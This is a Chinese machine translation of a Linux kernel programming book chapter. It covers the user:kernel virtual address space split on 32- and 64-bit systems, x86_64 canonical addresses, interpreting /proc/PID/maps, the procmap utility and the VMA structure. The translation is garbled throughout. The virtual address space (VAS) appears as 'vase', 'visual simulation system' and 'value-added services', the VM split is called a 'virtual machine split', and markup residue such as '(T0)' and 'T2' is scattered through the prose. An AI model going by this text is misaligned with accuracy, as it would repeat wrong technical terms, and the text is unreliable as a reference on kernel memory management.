-我们也理解,由于`write(2)`是系统调用,这意味着当前运行该代码的进程——进程上下文——现在必须切换到内核模式,运行`write(2)`(单片内核架构)的内核代码!的确如此。但是等一下:`write(2)`的内核代码在内核 VAS 中(参考[第 6 章](06.html),*内核内部要素–进程和线程*,图 6.1)。这里的重点是,如果内核 VAS 在盒子外面,那么我们到底该怎么称呼它呢? - -嗯,可以通过将内核放在一个单独的 4 GB VAS 中来完成,但是这种方法会导致非常慢的上下文切换,所以这根本做不到。 - -它的设计方式是这样的:用户和内核花瓶都生活在同一个“盒子”里——可用的 VAS。具体怎么做?通过*将*用户和内核之间的可用地址空间以某种`User:Kernel :: u:k`比例分割。这被称为**虚拟机分割**(比率`u:k`通常以千兆字节、万亿字节甚至千兆字节表示)。 - -下图是一个 32 位 Linux 进程的代表,该进程具有 *2:2* 虚拟机分割(以千兆字节为单位);也就是说,总的 4 GB 进程 VAS 被分成 2 GB 的用户空间和 2 GB 的内核空间。这通常是运行 Linux 操作系统的 ARM-32 系统上典型的虚拟机拆分: - -![](img/4be6ef77-78d0-45f6-aafc-90ce33d29cc0.png) - -Figure 7.1 – User:Kernel :: 2:2 GB VM split on an ARM-32 system running Linux - -因此,现在内核 VAS 在盒子里,理解这一点突然变得清晰和关键:当用户模式进程或线程发出系统调用时,在同一个进程的 VAS 中有一个到内核 2 GB VAS(各种 CPU 寄存器,包括堆栈指针,得到更新)的上下文切换。发出系统调用的线程现在以特权内核模式在进程上下文中运行其内核代码(并处理内核空间数据)。完成后,它从系统调用返回,上下文切换回非特权用户模式,并且现在在前 2 GB VAS 中运行用户模式代码。 - -内核 VAS(也称为**内核段***—*开始的确切虚拟地址通常通过内核中的`PAGE_OFFSET`宏来表示。我们将在*宏和描述内核段布局的变量*一节中研究这个以及其他一些关键宏。 - -关于虚拟机拆分的准确位置和大小,这一决定是在哪里做出的?啊,在 32 位 Linux 上,它是一个内核构建时可配置的。这是作为`make [ARCH=xxx] menuconfig`过程的一部分在内核构建中完成的——例如,为博通 BCM2835(或 BCM2837) **片上系统** ( **SoC** )(树莓皮是这种 SoC 的流行板)配置内核时。下面是官方内核配置文件的一个片段(输出来自树莓 Pi 控制台): - -```sh -$ uname -r -5.4.51-v7+ -$ sudo modprobe configs *<< gain access to /proc/config.gz via this LKM >>* $ zcat /proc/config.gz | grep -C3 VMSPLIT -[...] -# CONFIG_BIG_LITTLE is not set -# CONFIG_VMSPLIT_3G is not set -# CONFIG_VMSPLIT_3G_OPT is not set -CONFIG_VMSPLIT_2G=y -# CONFIG_VMSPLIT_1G is not set -CONFIG_PAGE_OFFSET=0x80000000 -CONFIG_NR_CPUS=4 -[...] -``` - -正如在前面的片段中看到的那样,`CONFIG_VMSPLIT_2G`内核配置选项被设置为`y`,这意味着默认的虚拟机分割是`user:kernel :: 2:2`。对于 32 位架构,虚拟机拆分位置是**可调的**(如前面的片段`CONFIG_VMSPLIT_[1|2|3]G`所示;`CONFIG_PAGE_OFFSET`对号入座。通过 2:2 虚拟机分割,`PAGE_OFFSET`实际上是在虚拟地址`0x8000 0000` (2 GB)的一半! - -IA-32 处理器(英特尔 x86-32)的默认虚拟机分割为 3:1 (GB)。有趣的是,运行在 IA-32 上的(古老的)Windows 3.x 操作系统也有相同的虚拟机分割,这表明这些概念本质上与操作系统无关。在本章的后面,除了其他细节之外,我们将介绍更多的体系结构及其虚拟机拆分。 - -64 位体系结构无法直接配置虚拟机剥离。现在,我们已经了解了 32 位系统上的虚拟机剥离,接下来让我们来看看它是如何在 64 位系统上完成的。 - -## 64 位 Linux 系统上的虚拟机拆分 - -首先,值得注意的是,在 64 位系统中,并非所有 64 位都用于寻址。在 x86_64 的标准或典型 Linux 操作系统配置中,页面大小为(典型的)4 KB,我们使用(T0)最低有效位 ( **最低有效位**)48 位进行寻址。为什么不是全部 64 位?简直太过分了!没有一台现有的计算机接近拥有完整的 *2* *64* *的一半= 18,446,744,073,709,551,616* 字节,相当于 16 EB(即 16,384 petabytes)的内存! - -"Why," you might well wonder, "do we equate this with RAM?". Please read on – more material needs to be covered before this becomes clear. The *Examining the kernel segment* section is where you will understand this fully. - -### 虚拟寻址和地址转换 - -在深入这些细节之前,清楚地了解几个关键点非常重要。 - -考虑一个来自 C 程序的小而典型的代码片段: - -```sh -int i = 5; -printf("address of i is 0x%x\n", &i); -``` - -您看到的`printf()`发出的地址是虚拟地址,而不是物理地址。我们区分两种虚拟地址: - -* 如果你在用户空间进程中运行这段代码,你将看到的变量`i`的地址是一个 UVA。 -* 如果你在内核或者内核模块中运行这段代码(当然,你会使用`printk()`应用编程接口),你会看到变量`i`的地址是**内核虚拟地址** ( **KVA** )。 - -接下来,虚拟地址不是绝对值(从`0`开始的偏移量);这实际上是一个*位掩码*: - -* 在 32 位 Linux 操作系统上,32 个可用位被分为所谓的**页面全局目录**(**【PGD】**)值、**页面表** ( **PT** )值和偏移量。 -* 这些成为索引,通过这些索引 **MMU** (现代微处理器芯片中的**内存管理单元**)可以访问当前进程上下文的内核页表,执行地址转换。 - -We do not intend on covering the deep details on MMU-level address translation here. It's also very arch-specific. Do refer to the *Further reading* section for useful links on this topic. - -* 正如所料,在 64 位系统上,即使使用 48 位寻址,虚拟地址位掩码中也会有更多的字段。 - -好吧,如果这种 48 位寻址是 x86_64 处理器上的典型情况,那么 64 位虚拟地址中的位是如何布局的?未使用的 16 个 MSB 位会怎么样?下图回答了问题;它代表了 x86_64 Linux 系统上虚拟地址的分解: - -![](img/0ecf9dc8-57ed-4ca1-8341-169570f72e9b.png) - -Figure 7.2 – Breakup of a 64-bit virtual address on the Intel x86_64 processor with 4 KB pages - -本质上,对于 48 位寻址,我们使用位 0 到 47(LSB 48 位)并忽略**最高有效位** ( **MSB** ) 16 位,将其视为符号扩展。虽然没有那么快;未使用的符号扩展 MSB 16 位的值随您所在的地址空间而变化: - -* **内核 VAS** : MSB 16 位始终设置为`1`。 -* **用户 VAS** : MSB 16 位始终设置为`0`。 - -这是有用的信息!了解了这一点,只需查看一个(完整的 64 位)虚拟地址,您就可以分辨出它是 KVA 还是 UVA: - -* 64 位 Linux 系统上的 KVAs 始终遵循`0xffff .... .... ....`格式。 -* UVA 总是有格式`0x0000 .... .... ....`。 - -**A word of caution**: the preceding format holds true only for processors (MMUs, really) that self-define virtual addresses as being KVAs or UVAs; the x86 and ARM family of processors do fall in this bracket. - -正如现在可以看到的(我在这里重申),现实是虚拟地址不是绝对地址(从零开始的绝对偏移量,正如您可能错误地想象的那样),而是实际上是位掩码。事实上,内存管理是一个复杂的工作共享区域:****OS 负责创建和操作每个进程的分页表,toolchain(编译器)生成虚拟地址,而实际执行运行时地址转换的是处理器 MMU,将给定的(用户或内核)虚拟地址转换为物理(RAM)地址!**** - - **关于硬件分页(以及各种硬件加速技术,如**翻译后备缓冲区** ( **TLB** )和 CPU 缓存)的更多细节,我们在本书中不再赘述。本章*进一步阅读*一节中提到的各种其他优秀书籍和参考网站很好地涵盖了这个特定的主题。 - -回到 64 位处理器上的视觉模拟系统。64 位系统上可用的 VAS 只是一个巨大的*2**64**= 16 EB*(*16 x 10**18*字节!).故事是这样的,当 AMD 工程师第一次将 Linux 内核移植到 x86_64(或 AMD64) 64 位处理器时,他们必须决定如何在这个巨大的 VAS 中布局进程和内核部分。即使在今天的 x86_64 Linux 操作系统上,达成的决定也或多或少保持不变。这个巨大的 64 位 VAS 被拆分如下。这里,我们假设 48 位寻址,4 KB 页面大小: - -* 规范下半部分,对于 128 TB:用户 VAS 和虚拟地址范围从`0x0`到`0x0000 7fff ffff ffff` -* 规范上半部分,对于 128 TB:内核 VAS 和虚拟地址范围从`0xffff 8000 0000 0000`到`0xffff ffff ffff ffff` - -The word *canonical* effectively means *as per the law* or as *per common convention*. - -x86_64 平台上的 64 位虚拟机分割如下图所示: - -![](img/8ab482cf-6585-4217-9944-d01884f4a8af.png) - -Figure 7.3 – The Intel x86_64 (or AMD64) 16 EB VAS layout (48-bit addressing); VM split is User : Kernel :: 128 TB : 128 TB - -在上图中,中间未使用的区域——空洞或稀疏区域——也称为**非规范地址**区域。有趣的是,使用 48 位寻址方案时,绝大多数增值服务未被使用。这就是为什么我们称增值服务为非常稀疏。 - -The preceding figure is certainly not drawn to scale! Always keep in mind that this is all *virtual* memory space, not physical. - -为了结束我们对虚拟机拆分的讨论,下图显示了不同 CPU 架构的一些常见`user:kernel`虚拟机拆分比率(我们假设 MMU 页面大小为 4 KB): - -![](img/43afce1c-3e72-4305-b2c1-f9763f166a51.png) - -Figure 7.4 – Common user:kernel VM split ratios for different CPU architectures (for 4 KB page size) - -我们用红色粗体突出显示第三行,因为它被认为是常见的情况:在 x86_64(或 AMD64)架构上运行 Linux,带有`user:kernel :: 128 TB:128 TB`虚拟机拆分。此外,阅读表格时要小心:第六列和第八列的数字 End vaddr 都是单个 64 位数量,而不是两个数字。这个数字可能只是简单地。例如,在 x86_64 行第 6 列,是*单个*号`0x0000 7fff ffff ffff`而不是两个号。 - -第三列,Addr Bits,向我们展示了在 64 位处理器上,没有一个真实世界的处理器实际上使用所有 64 位进行寻址。 - -在 x86_64 下,上表中显示了两个虚拟机拆分: - -* 第一个 128 TB : 128 TB (4 级分页)是目前 Linux x86_64 位系统(嵌入式笔记本电脑、个人电脑、工作站和服务器)上使用的典型虚拟机拆分。它将物理地址空间限制为 64 TB(内存)。 -* 第二个,64 PB : 64 PB,至少在撰写本文时,还是纯理论的;它支持 4.14 Linux 中所谓的 5 级分页;分配的花瓶(56 位寻址;总共 128 PB 的 VAS 和 4 PB 的物理地址空间!)是如此巨大,以至于在撰写本文时,还没有真正的计算机在使用它。 - -请注意,运行在 Linux 上的 AArch64 (ARM-64)架构的两行仅仅是代表性的。从事该产品的 BSP 供应商或平台团队可以使用不同的拆分。有趣的是,(旧的)Windows 32 位操作系统上的虚拟机分割为 2:2 (GB)。 - -内核增值服务中实际存在什么,或者通常所说的内核部分?所有内核代码、数据结构(包括任务结构、列表、内核模式堆栈、分页表等)、设备驱动程序、内核模块等都在这里(如[第 6 章](06.html)、*内核内部要素-进程和线程*图 6.7 下半部分所示;我们在*理解* *内核段*一节中详细介绍了这一点。 - -It's important to realize that, as a performance optimization on Linux, kernel memory is always non-swappable; that is, kernel memory can never be paged out to a swap partition. User space memory pages are always candidates for paging, unless locked (see the `mlock[all](2)` system calls). - -有了这个背景,您现在可以了解完整的过程 VAS 布局。继续读。 - -## 过程视觉系统——完整视图 - -再次参考*图 7.1*;它显示了单个 32 位进程的实际进程 VAS 布局。当然,现实是(这也是关键)系统上所有活跃的**进程都有自己独特的用户模式 VAS,但共享相同的内核部分** *。*图 7.1 显示了 2:2 (GB)虚拟机拆分,为了与图 7.1*进行对比,下图显示了典型 IA-32 系统的实际情况,其中虚拟机拆分为 3:1 (GB):* - -![](img/846fede0-f2ab-4232-affc-6fe17540dcf5.png) - -Figure 7.5 – Processes have a unique user VAS but share the kernel segment (32-bit OS); IA-32 with a 3:1 VM split - -请注意上图中地址空间是如何反映 3:1 (GB)虚拟机拆分的。用户地址空间从`0`延伸至`0xbfff ffff` ( `0xc000 0000`为 3 GB 标记;这是`PAGE_OFFSET`宏设置的),内核 VAS 从`0xc000 0000` (3 GB)扩展到`0xffff ffff` (4 GB)。 - -在本章的后面,我们将介绍名为`procmap`的实用工具的用法。它将帮助您详细地可视化花瓶,包括内核花瓶和用户花瓶,类似于我们前面的图。 - -需要注意的几点: - -* 对于图 7.5 所示的例子,`PAGE_OFFSET`的值为`0xc000 0000`。 -* 我们在这里显示的数字和数字并不是绝对的,并且对所有架构都有约束力;它们往往非常特定于 arch,许多供应商高度定制的 Linux 系统可能会改变它们。 -* *图 7.5* 详细介绍了 32 位 Linux 操作系统上的虚拟机布局。在 64 位 Linux 上,*概念*保持不变,只是数字(显著)改变了。如前几节中的一些细节所示,x86_64(具有 48 位寻址)Linux 系统上的虚拟机分割成为`User : Kernel :: 128 TB : 128 TB`。 - -现在已经了解了进程的虚拟内存布局的基本原理,您会发现它在难以调试的情况下对解密和取得进展有很大的帮助。像往常一样,还有更多;接下来的部分将介绍用户空间和内核空间内存映射(内核段),以及物理内存映射的一些内容。继续读! - -# 检查过程视觉模拟系统 - -我们已经介绍了每个进程的虚拟地址空间由哪些部分或映射组成的布局(参见第 6 章*、* *内核内部要素-进程和线程*中的*了解* *进程* *虚拟地址空间(VAS)* 部分)。我们了解到流程 VAS 由各种映射或段组成,其中包括文本(代码)、数据段、库映射和至少一个堆栈。在这里,我们对这一讨论进行了很大的扩展。 - -对于像您这样的开发人员以及用户、QA、sysadmin、DevOps 等来说,能够深入内核并看到各种运行时值是一项重要的技能。Linux 内核为我们提供了一个惊人的接口来实现这一点——你猜对了,它就是`proc`文件系统(`procfs`)。 - -这在 Linux 上一直存在(至少应该存在),并且安装在`/proc` *下。*`procfs`*系统有两个主要工作:* - - ** 提供一组统一的(伪或虚拟)文件和目录,使您能够深入查看内核和硬件内部细节。 -* 提供一组统一的根可写文件,允许 sysad 修改关键内核参数。它们出现在`/proc/sys/`下,被称为`sysctl`——它们是 Linux 内核的调节旋钮。 - -熟悉`proc`文件系统确实是必须的。我劝你去看看,也看看`proc(5)`上的优秀手册。例如,简单地执行`cat /proc/PID/status`(其中`PID`当然是给定进程或线程的唯一进程标识符)会从进程或线程的任务结构中产生一大堆有用的细节! - -Conceptually similar to `procfs` is the `sysfs` filesystem, mounted under `/sys` (and under it `debugfs`*,* typicallymounted at `/sys/kernel/debug`). `sysfs` is a representation of 2.6 Linux's new device and driver model; it exposes a tree of all devices on the system, as well as several kernel-tuning knobs. - -## 详细检查用户视觉模拟系统 - -让我们从检查任何给定过程的用户视觉模拟开始。通过`procfs`,特别是通过`/proc/PID/maps`伪文件,可以获得用户视觉模拟系统的相当详细的地图。让我们学习如何使用这个接口来查看进程的用户空间内存映射。我们将看到两种方式: - -* 直接通过`procfs`界面的`/proc/PID/maps`伪文件 -* 使用一些有用的前端(使输出更易于人类理解) - -让我们从第一个开始。 - -### 使用 procfs 直接查看进程内存图 - -查找任意进程的内部进程细节确实需要根访问,而查找您所拥有的进程的细节(包括调用方进程本身)则不需要。因此,作为一个简单的例子,我们将通过使用`self`关键字代替 PID 来查找调用过程的 VAS。以下截图显示了这一点(在 x86_64 Ubuntu 18.04 LTS 客户机上): - -![](img/8e968745-d0fe-4cd8-9970-fb250150f58d.png) - -Figure 7.6 – Output of the cat /proc/self/maps command - -在前面的截图中,您实际上可以看到`cat`流程的用户 VAS——该流程的用户 VAS 的名副其实的内存图!另外,请注意前面的`procfs`输出是按照(用户)虚拟地址(UVA)升序排序的。 - -Familiarity with using the powerful `mmap(2)` system call will help greatly in understanding further discussions. Do (at least) browse through its man page. - -#### 解释/proc/PID/映射输出 - -要解释图 7.6 的输出,一次读一行。**每条线代表所讨论过程的用户模式 VAS** 的一个片段或映射(在前面的例子中,它属于`cat`过程)。每行由以下字段组成。 - -为了更简单,我将只显示一行输出,我们将在下面的注释中标记和引用其字段: - -```sh - start_uva - end_uva mode,mapping start-off mj:mn inode# image-name -555d83b65000-555d83b6d000 r-xp 00000000 08:01 524313 /bin/cat -``` - -这里,整条线代表一个片段,或者更准确地说,代表过程(用户)视觉模拟系统中的一个*映射*。`uva`是用户虚拟地址。每个段的`start_uva`和`end_uva`显示为前两个字段(或列)。因此,映射(段)的长度很容易计算(`end_uva`–`start_uva`字节)。因此,在前一行中,`start_uva`为`0x555d83b65000`,`end_uva`为`0x555d83b6d000`(长度可计算为 32kb);但是,这是什么片段呢?一定要读下去... - -第三个字段`r-xp`实际上是两条信息的组合: - -* 前三个字母代表该段的模式(权限)(以通常的`rwx`符号表示)。 -* 下一个字母表示映射是私有的(`p`)还是共享的(`s`)。在内部,这是由第四个参数设置的`mmap(2)`系统调用,`flags`;这实际上是**`mmap(2)`**系统调用,它在内部负责创建流程中的每个片段或映射!**** -*** 因此,对于前面显示的样本段,第三个字段是值`r-xp`,我们现在可以知道它是一个文本(代码)段,并且是一个私有映射(如预期的那样)。** - - **第四个字段`start-off`(这里是值`0`)是从内容已经映射到过程 VAS 的文件开始的开始偏移量。显然,该值仅对文件映射有效。通过浏览倒数第二个(第六个)字段,您可以判断当前段是否是文件映射。对于不是文件映射的映射——称为**匿名映射**——它总是`0`(例如代表堆或栈段的映射)。在我们前面的示例行中,它是一个文件映射(即`/bin/cat`的映射),与该文件开头的偏移量是`0`字节(正如我们在前面的段落中计算的,映射的长度是 32 KB)。 - -第五个字段(`08:01`)的形式为`mj:mn`,其中`mj`是主要编号,`mn`是图像所在设备文件的次要编号。类似于第四个字段,它只对文件映射有效,否则它简单地显示为`00:00`;在我们前面的示例行中,它是一个文件映射(即`/bin/cat`的映射),并且(文件所在的*设备*的主编号和次编号)分别是`8`和`1`。 - -第六个字段(`524313`)表示图像文件的索引节点号——其内容被映射到进程 VAS 中的文件。索引节点是 **VFS(虚拟文件系统)**的关键数据结构;它保存文件对象的所有元数据,除了它的名称(在目录文件中)之外的所有内容。同样,该值仅对文件映射有效,否则仅显示为`0`。事实上,这是一种判断映射是文件映射还是匿名映射的快速方法!在我们前面的示例映射中,很明显这是一个文件映射(T2 的映射),索引节点号是`524313`。的确,我们可以证实这一点: - -```sh -ls -i /bin/cat -524313 /bin/cat -``` - -第七个也是最后一个字段表示文件的路径名,该文件的内容正被映射到用户视觉模拟系统中。这里,当我们查看`cat(1)`进程的内存映射时,路径名(对于文件映射的段)当然是`/bin/cat`。如果映射代表一个文件,文件的索引节点号(第六个字段)显示为正数;如果不是,这意味着它是没有后备存储的纯内存或匿名映射,索引节点号显示为`0`,该字段将为空。 - -现在应该很明显了,但我们还是要指出这一点——这是一个关键点:前面看到的所有地址都是虚拟的,而不是物理的。此外,它们只属于用户空间,因此被称为 UVAs,并且总是通过该进程的唯一分页表来访问(和转换)。另外,前面的截图是在 64 位(x86_64) Linux 客户机上拍摄的。因此,在这里,我们看到 64 位虚拟地址。 - -Though the way the virtual addresses are displayed isn't as a full 64-bit number – for example, as `0x555d83b65000` and not as `0x0000555d83b65000` – I want you to notice how, because it's a **user virtual address** (a **UVA**), the MSB 16 bits are zero! - -没错,这涵盖了如何解释一个特定的片段或映射,但是似乎有一些奇怪的片段或映射——如`vvar`、`vdso`和`vsyscall`映射。让我们看看他们是什么意思。 - -#### vsyscall 页面 - -在图 7.6 的输出中,你注意到了一些不寻常的东西吗?那里的最后一行——所谓的`vsyscall`条目——映射了一个内核页面(现在,你知道我们如何分辨:它的开始和结束虚拟地址的 MSB 16 位被设置)。在这里,我们只提到一个事实,这是一个(旧的)执行系统调用的优化。它的工作原理是,减少了实际切换到内核模式的需求,只需要一小群不需要的系统调用。 - -目前,在 x86 上,这些包括`gettimeofday(2)`、`time(2)`和`getcpu(2)`系统调用。事实上,上面的`vvar`和`vdso`(又名 vDSO)映射是同一主题的(略微)现代变体。如果您有兴趣了解更多信息,请访问本章的*进一步阅读*部分。 - -因此,您现在已经看到了如何通过直接读取和解释带有 PID 的进程的`/proc/PID/maps`(伪)文件的输出来检查任何给定进程的用户空间内存映射。还有其他方便的前端可以做到这一点;我们现在来看几个。 - -### 用于查看进程内存映射的前端 - -除了通过`/proc/PID/maps`的原始或直接格式(我们在上一节中看到了如何解释),还有一些包装实用程序可以帮助我们更容易地解释用户模式的 VAS。其中包括附加(原始)`/proc/PID/smaps` 伪文件、`pmap(1)`和`smem(8)`实用程序,以及我自己的简单实用程序(命名为`procmap`)。 - -内核通过`proc`下的`/proc/PID/smaps` 伪文件提供每个片段或映射的详细信息。一定要试着`cat /proc/self/smaps`亲自看看这个。您会注意到,对于每个片段(映射),都提供了大量的详细信息。`proc(5)`上的手册页有助于解释看到的许多领域。 - -对于`pmap(1)`和`smem(8)`实用程序,详情请参考它们的手册页。例如,对于`pmap(1)`,手册页告知我们更详细的`-X`和`-XX`选项: - -```sh --X Show even more details than the -x option. WARNING: format changes according to /proc/PID/smaps --XX Show everything the kernel provides -``` - -关于`smem(8)`效用,事实是它并没有*而不是*给你展示过程 VAS 相反,这更像是回答一个常见问题:即确定哪个进程占用了最多的物理内存。它使用**常驻集大小** ( **RSS** )、 **P** **比例集大小** ( **PSS** )和 **U** **nique 集大小** ( **USS** )等指标来呈现更清晰的画面。亲爱的读者,我将把对这些实用程序的进一步探索留给你来练习! - -现在,让我们继续探索如何使用一个有用的工具——T0——来详细查看任何给定进程的内核和用户内存映射。 - -#### procmap 过程 VAS 可视化实用程序 - -作为一个小的学习和教学(和调试期间有帮助!)项目,我在 GitHub 上创作并主持了一个名为`procmap`*的小项目,这里提供:[https://github.com/kaiwan/procmap](https://github.com/kaiwan/procmap)(做`git clone`吧)。其`README.md`文件的一个片段有助于解释其目的:* - -```sh -procmap is designed to be a console/CLI utility to visualize the complete memory map of a Linux process, in effect, to visualize the memory mappings of both the kernel and user mode Virtual Address Space (VAS). It outputs a simple visualization, in a vertically-tiled format ordered by descending virtual address, of the complete memory map of a given process (see screenshots below). The script has the intelligence to show kernel and user space mappings as well as calculate and show the sparse memory regions that will be present. Also, each segment or mapping is scaled by relative size (and color-coded for readability). On 64-bit systems, it also shows the so-called non-canonical sparse region or 'hole' (typically close to 16,384 PB on the x86_64). -``` - -旁白:在撰写本材料时(2020 年 4 月/5 月),新冠肺炎疫情正在全球大部分地区全面展开。与早期的 *SETI@home* 项目([https://setiathome.berkeley.edu/](https://setiathome.berkeley.edu/))类似, *Folding@home* 项目([https://foldingathome.org/category/covid-19/](https://foldingathome.org/category/covid-19/))是一个分布式计算项目,利用互联网连接的家庭(或任何)计算机来帮助模拟和解决与新冠肺炎治疗相关的问题(其中包括寻找影响我们的其他几种严重疾病的治疗方法)。你可以从[https://foldingathome.org/start-folding/](https://foldingathome.org/start-folding/)下载软件(安装它,它会在你的系统空闲周期运行)。我就是这么做的;这是 FAH 查看器(一个显示蛋白质分子的漂亮 GUI!)在我的(本机)Ubuntu Linux 系统上运行的进程: - -```sh -$ ps -e|grep -i FAH -6190 ? 00:00:13 FAHViewer -``` - -好的,让我们使用`procmap`实用程序来询问它的视觉模拟系统。我们如何调用它?简单,看下面(由于篇幅不够,我就不在这里展示所有的信息、注意事项等;一定要亲自尝试一下): - -```sh -$ git clone https://github.com/kaiwan/procmap -$ cd procmap -$ ./procmap -Options: - --only-user : show ONLY the user mode mappings or segments - --only-kernel : show ONLY the kernel-space mappings or segments - [default is to show BOTH] - --export-maps=filename - write all map information gleaned to the file you specify in CSV - --export-kernel=filename - write kernel information gleaned to the file you specify in CSV - --verbose : verbose mode (try it! see below for details) - --debug : run in debug mode - --version|--ver : display version info. -See the config file as well. -[...] -``` - -请注意,该`procmap`实用程序与 BSD Unix 提供的`procmap`实用程序不同。此外,这取决于`bc(1)`和`smem(8)`公用事业;请确保它们已安装。 - -当我只用`--pid=`运行`procmap`实用程序时,它会显示给定进程的内核和用户空间花瓶。现在,由于我们还没有讨论关于内核 VAS(或段)的细节,我不会在这里显示内核空间的详细输出;让我们推迟到下一节*检查内核部分*。随着我们的继续,您将发现仅来自`procmap`实用程序的用户视觉模拟输出的部分截图。完整的输出可能相当长,当然,这取决于所讨论的过程;一定要亲自尝试一下。 - -正如您将看到的,它试图提供完整的进程内存映射的基本可视化——内核和用户空间 VAS 都采用垂直平铺格式(如上所述,这里我们只显示截断的截图): - -![](img/7e3f5480-bd1d-40f5-bca5-e1d005e5fd31.png) - -Figure 7.7 – Partial screenshot: the first line of the kernel VAS output from the procmap utility - -请注意,从前面的(部分)截图中,可以看到几件事: - -* `procmap` (Bash)脚本自动检测到我们正在 x86_64 64 位系统上运行。 -* 虽然我们现在没有关注它,但是内核 VAS 的输出首先出现;这很自然,因为我们显示了按虚拟地址降序排列的输出(图 7.1、7.3 和 7.5 重申了这一点) -* 你可以看到第一行(在`KERNEL VAS`头之后)对应于 VAS 最顶端的一个 KVA–值`0xffff ffff ffff ffff`(因为我们在 64 位上)。 - -转到`procmap`输出的下一部分,让我们来看一下`FAHViewer`过程的用户 VAS 上端的截断视图: - -![](img/3863175c-0c03-4012-84be-26da6809fc07.png) - -Figure 7.8 – Partial screenshot: first few lines (high end) of the user VAS output from the procmap utility - -图 7.8 是`procmap` 输出的部分截图,展示了用户空间 VAS 在它的最顶端,你可以看到(高端)UVA。 - -在我们的 x86_64 系统上(回想一下,这是依赖于 arch 的),这个(高)`end_uva`值是 -`0x0000 7fff ffff ffff`,`start_uva`当然是`0x0`。`procmap`如何计算出精确的地址值?啊,它相当复杂:对于内核空间内存信息,它使用内核模块(一个 LKM!)查询内核并根据系统架构建立配置文件;用户空间的细节,当然来自于`/proc/PID/maps`直接`procfs`的伪文件。 - -As an aside, the kernel component of `procmap`, a kernel module, sets up a way to interface with user space – the `procmap` scripts – by creating and setting up a `debugfs` (pseudo) file. - -下面的截图显示了该过程的用户模式 VAS 低端的部分截图,一直到最低的 UVA,`0x0`: - -![](img/9f77ade3-9866-4c1b-8302-27d0d221f168.png) - -Figure 7.9 – Partial screenshot: last few lines (low end) of the user VAS output from the procmap utility - -最后一个映射,单个页面,正如所料,是空陷阱页面(从 UVA `0x1000`到`0x0`;我们将在即将到来的*空陷阱页面*部分解释其目的。 - -`procmap`实用程序,如果在其配置文件中启用,将计算并显示一些统计数据;这包括内核和用户模式花瓶的大小,稀疏区域占用的用户空间内存量(在 64 位上,就像前面的例子一样,通常是绝大部分空间!)作为绝对数字和百分比,报告的物理内存量,最后是由`ps(1)`和`smem(8)`实用程序报告的该特定进程的内存使用详细信息。 - -一般来说,你会发现在 64 位系统上(见图 7.3),进程 VAS 的*稀疏*(空)内存区域占用了接近 100%的可用地址空间!(通常是 127.99 这样的数字[...]在现有的 128 TB 中,增值服务为 1 TB。)这意味着 99.99[...]%的内存空间是稀疏的(空的)!这就是 64 位系统上巨大的视觉模拟系统的现实。巨大的 128 TB VAS 中只有一小部分(x86_64 上就是这种情况)实际在使用。当然,稀疏和使用的 VAS 的实际数量取决于特定应用进程的大小。 - -当在更深层次上调试或分析问题时,能够清晰地可视化过程视觉模拟会有很大帮助。 - -If you're reading this book in its hardcopy format, be sure to download the full-color PDF of diagrams/figures from the publisher's website: [https://static.packt-cdn.com/downloads/9781789953435_ColorImages.pdf](_ColorImages.pdf). - -您还将看到输出末尾打印出的统计数据(如果启用)显示了为目标进程设置的**虚拟内存区域** ( **VMAs** )的数量。以下部分简要解释了什么是 VMA。我们开始吧! - -## 了解 VMA 基础知识 - -在`/proc/PID/maps`的输出中,输出的每一行实际上都是从一个叫做 VMA 的内核元数据结构中推断出来的。这其实很简单:内核使用 VMA 数据结构来抽象我们一直称之为段或映射的东西。因此,对于用户视觉模拟系统中的每一个片段,都有一个由操作系统维护的 VMA 对象。请认识到,只有用户空间段或映射由称为 VMA 的内核元数据结构控制;内核段本身没有 VMAs。 - -那么,给定的流程将有多少个 VMA?嗯,它等于它的用户 VAS 中映射(段)的数量。在我们使用 *FAHViewer* 进程的示例中,它碰巧有 206 个段或映射,这意味着内核内存中有 206 个 VMA 元数据对象——代表该进程的 206 个用户空间段或映射。 - -从程序上讲,内核通过以`current->mm->mmap`为根的任务结构来维护一个 VMA“链”(出于效率原因,它实际上是一个红黑树数据结构)。指针为什么叫`mmap`?这是经过深思熟虑的:每次执行`mmap(2)`系统调用(即内存映射操作)时,内核都会在调用进程(即`current`实例)VAS 中生成一个映射(或“段”),并生成一个代表它的 VMA 对象。 - -VMA 元数据结构类似于包含映射的保护伞,包括内核执行各种内存管理所需的所有信息:服务页面错误(非常常见)、在输入/输出期间将文件内容缓存到内核页面缓存中(或从内核页面缓存中取出)等等。 - -Page fault handling is a very important OS activity, whose algorithm makes up quite a bit of usage of the kernel VMA objects; in this book, though, we don't delve into these details as it's largely transparent to kernel module/driver authors. - -为了让您感受一下,我们将在下面的代码片段中展示内核 VMA 数据结构的一些成员;旁边的评论有助于解释他们的目的: - -```sh -// include/linux/mm_types.h -struct vm_area_struct { - /* The first cache line has the info for VMA tree walking. */ - unsigned long vm_start; /* Our start address within vm_mm. */ - unsigned long vm_end; /* The first byte after our end address - within vm_mm. */ - - /* linked list of VM areas per task, sorted by address */ - struct vm_area_struct *vm_next, *vm_prev; - struct rb_node vm_rb; - [...] - struct mm_struct *vm_mm; /* The address space we belong to. */ - pgprot_t vm_page_prot; /* Access permissions of this VMA. */ - unsigned long vm_flags; /* Flags, see mm.h. */ - [...] - /* Function pointers to deal with this struct. */ - const struct vm_operations_struct *vm_ops; - /* Information about our backing store: */ - unsigned long vm_pgoff;/* Offset (within vm_file) in PAGE_SIZE units */ - struct file * vm_file; /* File we map to (can be NULL). */ - [...] -} __randomize_layout -``` - -现在应该更清楚`cat /proc/PID/maps`到底是如何在引擎盖下工作的:当用户空间确实,比如说`cat /proc/self/maps`时,`read(2)`系统调用由`cat`发出;这导致`cat`进程切换到内核模式,并在内核中以内核特权运行`read(2)`系统调用代码。这里,内核**虚拟文件系统开关** ( **VFS** )将控制重定向到适当的`procfs`回调处理程序(函数)。这段代码迭代(循环)每个 VMA 元数据结构(对于`current`,这当然是我们的`cat`过程),将相关信息发送回用户空间。`cat`流程然后忠实地将通过读取接收到的数据转储到`stdout`,因此我们看到:流程的所有段或映射——实际上,用户模式 VAS 的内存映射! - -好了,至此,我们结束了这一部分,在这一部分中,我们已经介绍了检查流程用户视觉模拟系统的细节。这些知识不仅有助于理解用户模式 VAS 的精确布局,还有助于调试用户空间内存问题! - -现在,让我们继续了解内存管理的另一个关键方面——内核 VAS 的详细布局,换句话说,内核部分。 - -# 检查内核段 - -正如我们在上一章中所谈到的,正如在*图 7.5* 中所看到的,理解所有进程都有自己独特的用户 VAS 但共享内核空间——我们称之为内核段或内核 VAS——真的很关键。让我们从检查内核部分的一些常见(与 arch 无关)区域开始这一部分。 - 